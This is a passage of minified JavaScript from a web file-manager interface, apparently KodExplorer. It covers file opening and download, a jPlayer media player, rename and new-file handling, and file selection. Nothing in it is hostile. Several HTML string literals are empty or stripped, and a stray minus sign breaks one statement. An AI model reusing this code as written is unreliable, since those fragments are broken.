        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e); -return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e)?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},u=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},f=function(i,a,n){ui.fileLight.clear();var o=u(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,m):t.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("
        "+l+"
        ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){if(e){var t=[];if(0==ui.fileLight.fileListSelect().length)return t;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})});for(var i="",a=[],n=0;t.length>n;n++){var o=t[n].path;(""==i||0!=o.indexOf(i))&&(i=o,a.push(t[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},v=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:_,history:s,getJsondataCell:v,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(_().path)},appInstall:function(){t.appInstall(_().path)},openEditor:function(){i.openEditor(_().path)},openWindow:function(){var e=_();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=_(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(_())},setBackground:function(){var e=core.path2url(_().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=_(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(_().path,m)},download:function(){var e=_(!0);1==e.length&&"file"==e[0].type?i.download(_().path):t.zipDownload(e)},shareEdit:function(){var e=v("path",_().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=v("path",_().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=_(),t=v("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(_().path)},explorerNew:function(){window.open("index.php?/explorer&path="+_().path)},openProject:function(){core.explorerCode(_().path)},search:function(){core.search("",_().path)},fav:function(){var e=_(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var i=_(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(i,function(e){var t=v("path",i[e].path);void 0!=t&&(i[e].type="share",i[e].path=t.sid)}),t.remove(i,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(_(!0))},cute:function(){n()&&t.cute(_(!0),ui.f5)},zip:function(){t.zip(_(!0),m)},unZip:function(e){n()&&t.unZip(_().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(_(!0),e,m)},copyDrag:function(e,i){t.copyDrag(_(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(_(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(_(!0),e,m)})},info:function(){t.info(_(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+_().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"
        \n {{if list_type=='list'}}{{/if}}\n
        \n \n {{if type=='folder'}}\n
        {{\"folder\" | core.icon}}
        \n {{else}}\n
        {{ext | core.icon}}
        \n {{/if}}\n
        \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
        \n
        \n
        \n
        \n
        \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,f("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(h($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:h,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)x(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?x(n,s,t):n>s?x(o,n,t):x(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var 